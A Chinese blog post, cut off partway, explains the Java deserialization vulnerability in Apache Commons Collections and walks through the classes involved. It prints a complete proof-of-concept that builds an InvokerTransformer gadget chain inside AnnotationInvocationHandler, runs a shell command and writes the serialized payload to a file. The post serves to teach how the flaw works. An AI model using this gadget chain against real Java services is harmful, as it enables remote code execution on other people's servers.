java反序列化漏洞 poc_Java反序列化漏洞详解

Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进行详细解读。

Java反序列化漏洞简介

· Java序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中,Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。

· Java反序列化即逆过程,由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。

因此要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。能符合以上条件的地方即存在漏洞。

Java反序列化Poc详解

public class test {

public static void main(String[] args) throws Exception {

String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer(

"getMethod",

new Class[] {String.class, Class[].class },

new Object[] {"getRuntime", new Class[0] }

),

new InvokerTransformer(

"invoke",

new Class[] {Object.class,

Object[].class }, new Object[] {null, null }

),

new InvokerTransformer(

"exec",

new Class[] {String[].class },

new Object[] { execArgs }

)

};

Transformer transformedChain = new ChainedTransformer(transformers);

Map BeforeTransformerMap = new HashMap();

BeforeTransformerMap.put("hello", "manning");

Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);

ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

File f = new File("temp.bin");

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));

out.writeObject(instance);

}

}

如果想彻底理解上面的poc,需要明白Java中的一些概念。

在Apache commons工具包中有很多jar包(jar包可以理解为python的库),具体jar包里面含有的内容,如下图所示。

bdf876fa4f640c7115135d8a7b5c7438.png

其中Java反序列化的问题出在org.apache.commons.collections这个库里面。org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等。换一种理解方式,collection是set,list,queue的抽象,collection中文含义是收集的意思,那么收集的具体方式就可以是set,list,queue了。

在org.apache.commons.collections内提供了一个接口类叫Transformer,这个接口的英文定义为

Defines a functor interface implemented by classes that transform one object into another.

也就是说接口于Transformer的类都具备把一个对象转化为另一个对象的功能。目前已知接口于Transformer的类,如下如所示。

bd5a77ec060fb7b8da9e34264c00e2a4.png

图上带箭头指示的为Java反序列化漏洞的poc含有的类。

· ConstantTransformer

Transformer implementation that returns the same constant each time. (把一个对象转化为常量,并返回)

· InvokerTransformer

Transformer implementation that creates a new object instance by reflection. (通过反射,返回一个对象)

· ChainedTransformer

Transformer implementation that chains the specified transformers together. (把一些transformer链接到一起,构成一组链条,对一个对象依次通过链条内的每一个transformer进行转换)

有了以上的相关概念,就可以理解最开始的poc了。poc里面,我们一共创建了以下关键对象。

· execArgs

待执行的命令数组

· transformers

一个transformer链,包含预设转化逻辑(各类transformer对象)的转化数组

· transformedChain

ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作

· BeforeTransformerMap

Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict理解即可

· AfterTransformerMap

21/212>

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值